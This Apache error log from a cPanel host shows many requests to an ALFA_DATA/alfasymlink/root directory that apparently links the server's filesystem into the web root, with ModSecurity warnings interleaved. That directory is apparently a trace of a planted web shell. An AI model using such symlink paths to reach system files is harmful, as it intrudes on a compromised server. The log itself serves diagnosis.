[Sun Oct 25 18:27:22.187177 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.208.156.9:19267] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:27:29.274313 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 200.72.186.22:29248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects
[Sun Oct 25 18:27:30.137463 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 18.232.12.157:17816] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:27:32.757220 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 186.215.33.108:59249] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects
[Sun Oct 25 18:27:34.008798 2026] [security2:error] [pid 2913504:tid 2913504] [client 43.166.142.76:59686] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at6CVoLf0dsNXNVeYABtkAAAAAo"]
[Sun Oct 25 18:27:34.167949 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 167.160.208.77:28043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/objects
[Sun Oct 25 18:27:55.253738 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.191.171.5:50028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8/object_size
[Sun Oct 25 18:27:57.838841 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 185.191.171.1:16178] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/slabs
[Sun Oct 25 18:28:00.779849 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 38.172.181.5:35406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/partial
[Sun Oct 25 18:28:02.156974 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 34.238.45.183:62638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/kernel/slab/pool_workqueue/min_partial
[Sun Oct 25 18:28:02.815486 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 97.69.214.137:51175] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/partial
[Sun Oct 25 18:28:06.140779 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 38.211.204.243:25863] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/partial
[Sun Oct 25 18:28:10.608179 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 173.255.160.119:47889] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/destroy_by_rcu
[Sun Oct 25 18:28:12.974531 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 190.140.113.171:4737] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/destroy_by_rcu
[Sun Oct 25 18:28:15.160700 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 190.97.249.36:56877] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/destroy_by_rcu
[Sun Oct 25 18:28:17.992604 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 38.7.98.6:52686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/ctor
[Sun Oct 25 18:28:22.188361 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 52.205.113.104:53544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:28:26.350998 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 54.83.240.58:29459] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/firmware_node/physical_node/driver/uevent
[Sun Oct 25 18:28:27.003155 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.191.171.14:43246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/hwcache_align
[Sun Oct 25 18:28:27.003756 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.191.171.14:43246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/hwcache_align"] [unique_id "at6Cix8fO9KwLgqLGMRCuwAAAAc"]
[Sun Oct 25 18:28:27.003786 2026] [security2:error] [pid 2899920:tid 2899920] [client 185.191.171.14:43246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/hwcache_align"] [unique_id "at6Cix8fO9KwLgqLGMRCuwAAAAc"]
[Sun Oct 25 18:28:30.163591 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 44.193.115.232:34802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:28:33.722533 2026] [core:error] [pid 2913504:tid 2913504] (13)Permission denied: [client 185.191.171.1:38116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/object_size
[Sun Oct 25 18:28:42.246613 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.45.29.57:41171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:28:48.074539 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 216.131.78.63:52913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/destroy_by_rcu
[Sun Oct 25 18:28:49.795246 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 45.164.238.243:58770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/destroy_by_rcu
[Sun Oct 25 18:28:53.787792 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 68.235.47.69:56605] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/destroy_by_rcu
[Sun Oct 25 18:28:54.144925 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 52.0.41.164:46110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:28:58.189704 2026] [security2:error] [pid 2899920:tid 2899920] [client 35.171.117.160:24245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/misc/loop-control/subsystem/autofs/subsystem/device-mapper/"] [unique_id "at6Cqh8fO9KwLgqLGMRCvgAAAAc"]
[Sun Oct 25 18:28:58.189757 2026] [security2:error] [pid 2899920:tid 2899920] [client 35.171.117.160:24245] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/misc/loop-control/subsystem/autofs/subsystem/device-mapper/"] [unique_id "at6Cqh8fO9KwLgqLGMRCvgAAAAc"]
[Sun Oct 25 18:29:06.283727 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 54.83.240.58:16387] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:05.0/remove
[Sun Oct 25 18:29:14.221725 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 44.209.35.147:26461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:29:16.439092 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 77.107.130.205:50701] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/alloc_calls
[Sun Oct 25 18:29:17.921865 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 81.129.219.240:46154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/reclaim_account
[Sun Oct 25 18:29:23.267300 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 2.57.97.93:50330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/reclaim_account
[Sun Oct 25 18:29:24.765777 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 73.184.186.180:44244] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/reclaim_account
[Sun Oct 25 18:29:26.198917 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 44.212.131.50:14572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:29:26.868691 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 16.216.88.128:40960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/neighbor_netblocks
[Sun Oct 25 18:29:26.901505 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 188.241.103.91:15710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/alloc_calls
[Sun Oct 25 18:29:30.139703 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 3.213.106.226:35872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:29:38.370173 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 54.163.169.168:59425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:29:45.047433 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 76.35.64.166:27184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/destroy_by_rcu
[Sun Oct 25 18:29:47.528347 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 62.16.70.187:37584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/destroy_by_rcu
[Sun Oct 25 18:29:49.454327 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 45.186.209.123:41184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/destroy_by_rcu
[Sun Oct 25 18:29:53.388913 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 186.74.80.142:56656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/sanity_checks
[Sun Oct 25 18:29:58.147203 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 44.209.89.189:13290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:00.670462 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 37.228.235.63:57022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/sanity_checks
[Sun Oct 25 18:30:01.905390 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 24.147.169.145:52120] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/cpu_partial
[Sun Oct 25 18:30:02.147837 2026] [ssl:error] [pid 2904910:tid 2904910] (70014)End of file found: [client 52.6.5.24:43485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:03.414070 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 170.246.87.224:5615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/sanity_checks
[Sun Oct 25 18:30:03.821966 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 154.124.39.32:47678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/cpu_partial
[Sun Oct 25 18:30:06.171252 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 3.211.181.86:39810] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:06.203439 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 85.208.96.210:52612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/alloc_calls
[Sun Oct 25 18:30:06.904388 2026] [core:error] [pid 2913504:tid 2913504] (13)Permission denied: [client 190.120.248.152:57452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/cpu_partial
[Sun Oct 25 18:30:10.141921 2026] [ssl:error] [pid 2913310:tid 2913310] (70014)End of file found: [client 18.213.240.226:12171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:14.479150 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 54.225.181.161:43072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:18.123138 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 184.73.195.18:62282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:22.128181 2026] [ssl:error] [pid 2904910:tid 2904910] (5)Input/output error: [client 52.45.92.83:13161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:34.130435 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 34.227.234.246:43266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:0c/subsystem/devices/device:14/eject
[Sun Oct 25 18:30:38.143781 2026] [ssl:error] [pid 2912581:tid 2912581] (70014)End of file found: [client 34.225.87.80:5509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:30:51.316094 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 102.100.103.178:44368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slabs_cpu_partial
[Sun Oct 25 18:30:53.823154 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 45.229.38.211:43270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slabs_cpu_partial
[Sun Oct 25 18:30:56.704570 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 38.68.180.66:35116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/slabs_cpu_partial
[Sun Oct 25 18:30:58.159368 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 23.21.204.95:60554] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:01.386833 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 2.101.47.49:50080] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/total_objects
[Sun Oct 25 18:31:02.235919 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 23.23.212.212:18860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:02.584646 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 186.158.200.217:1612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slab_size
[Sun Oct 25 18:31:04.696941 2026] [core:error] [pid 2910745:tid 2910745] (13)Permission denied: [client 38.159.59.32:53370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slab_size
[Sun Oct 25 18:31:05.993681 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 12.16.113.218:44857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slab_size
[Sun Oct 25 18:31:11.465547 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 35.147.150.38:26811] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/total_objects
[Sun Oct 25 18:31:13.173017 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 195.242.214.102:57691] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs
[Sun Oct 25 18:31:14.382605 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 141.153.138.50:51747] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs
[Sun Oct 25 18:31:17.763195 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 217.146.82.227:57522] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs
[Sun Oct 25 18:31:26.140571 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 44.216.172.204:47937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:30.131380 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 44.208.223.68:1713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:32.192208 2026] [core:error] [pid 2914415:tid 2914415] (13)Permission denied: [client 102.38.11.143:39190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/destroy_by_rcu
[Sun Oct 25 18:31:36.397171 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 170.80.194.196:43885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/destroy_by_rcu
[Sun Oct 25 18:31:38.480375 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 189.153.212.198:56498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/destroy_by_rcu
[Sun Oct 25 18:31:39.209180 2026] [ssl:error] [pid 2914518:tid 2914518] (70014)End of file found: [client 85.208.96.195:31332] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:42.295513 2026] [ssl:error] [pid 2914415:tid 2914415] (70014)End of file found: [client 44.210.204.255:46004] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:43.228926 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 212.8.249.222:50663] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/destroy_by_rcu
[Sun Oct 25 18:31:47.107907 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 141.157.251.200:42774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/destroy_by_rcu
[Sun Oct 25 18:31:49.008503 2026] [core:error] [pid 2914518:tid 2914518] (13)Permission denied: [client 186.247.37.90:34396] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/destroy_by_rcu
[Sun Oct 25 18:31:50.325462 2026] [core:error] [pid 2910679:tid 2910679] (13)Permission denied: [client 34.206.249.188:28882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/PNP0A06:00/subsystem/devices/device:04/physical_node/resource0
[Sun Oct 25 18:31:54.132658 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 54.235.158.162:39955] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:31:58.184112 2026] [ssl:error] [pid 2913421:tid 2913421] (5)Input/output error: [client 18.214.124.6:1316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:02.155696 2026] [ssl:error] [pid 2914422:tid 2914422] (70014)End of file found: [client 34.224.132.215:26378] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:06.144899 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 44.217.177.142:64244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:15.391290 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 103.175.222.26:27475] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/slabs_cpu_partial
[Sun Oct 25 18:32:17.435064 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 72.49.229.31:41971] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/slabs_cpu_partial
[Sun Oct 25 18:32:19.135770 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 141.224.140.11:11092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/slabs_cpu_partial
[Sun Oct 25 18:32:20.524984 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 78.183.99.99:53926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects
[Sun Oct 25 18:32:20.898076 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 142.114.219.197:50259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/alloc_calls
[Sun Oct 25 18:32:20.898643 2026] [security2:error] [pid 2899920:tid 2899920] [client 142.114.219.197:50259] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/alloc_calls"] [unique_id "at6DdB8fO9KwLgqLGMRCwQAAAAc"]
[Sun Oct 25 18:32:20.898668 2026] [security2:error] [pid 2899920:tid 2899920] [client 142.114.219.197:50259] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/alloc_calls"] [unique_id "at6DdB8fO9KwLgqLGMRCwQAAAAc"]
[Sun Oct 25 18:32:22.279535 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.90.8.255:11756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:22.532974 2026] [core:error] [pid 2914415:tid 2914415] (13)Permission denied: [client 65.27.234.185:52076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/alloc_calls
[Sun Oct 25 18:32:23.436057 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 38.250.151.27:5542] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects
[Sun Oct 25 18:32:25.105304 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 90.203.209.103:41247] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/objects
[Sun Oct 25 18:32:26.225071 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 52.45.77.169:34163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/devices/device:02/physical_node/subsystem/drivers/xhci_hcd/unbind
[Sun Oct 25 18:32:26.712243 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 5.30.102.128:38053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/alloc_calls
[Sun Oct 25 18:32:30.129496 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 44.221.227.90:50326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/system/node/node0/cpu0/crash_notes
[Sun Oct 25 18:32:34.335052 2026] [core:error] [pid 2914422:tid 2914422] (13)Permission denied: [client 35.170.205.140:1368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:06/physical_node/rescan
[Sun Oct 25 18:32:38.473138 2026] [ssl:error] [pid 2912591:tid 2912591] (70014)End of file found: [client 44.221.105.234:10620] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:32:39.486079 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 101.57.208.115:1975] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/align
[Sun Oct 25 18:32:41.159260 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 73.64.76.120:33362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/align
[Sun Oct 25 18:32:43.377161 2026] [security2:error] [pid 2913310:tid 2913310] [client 107.172.76.131:65325] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Df6TVphdsnHe-qZimAQAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:32:43.377226 2026] [security2:error] [pid 2913310:tid 2913310] [client 107.172.76.131:65325] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6Df6TVphdsnHe-qZimAQAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:32:43.783656 2026] [core:error] [pid 2914415:tid 2914415] (13)Permission denied: [client 169.0.244.177:34245] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/align
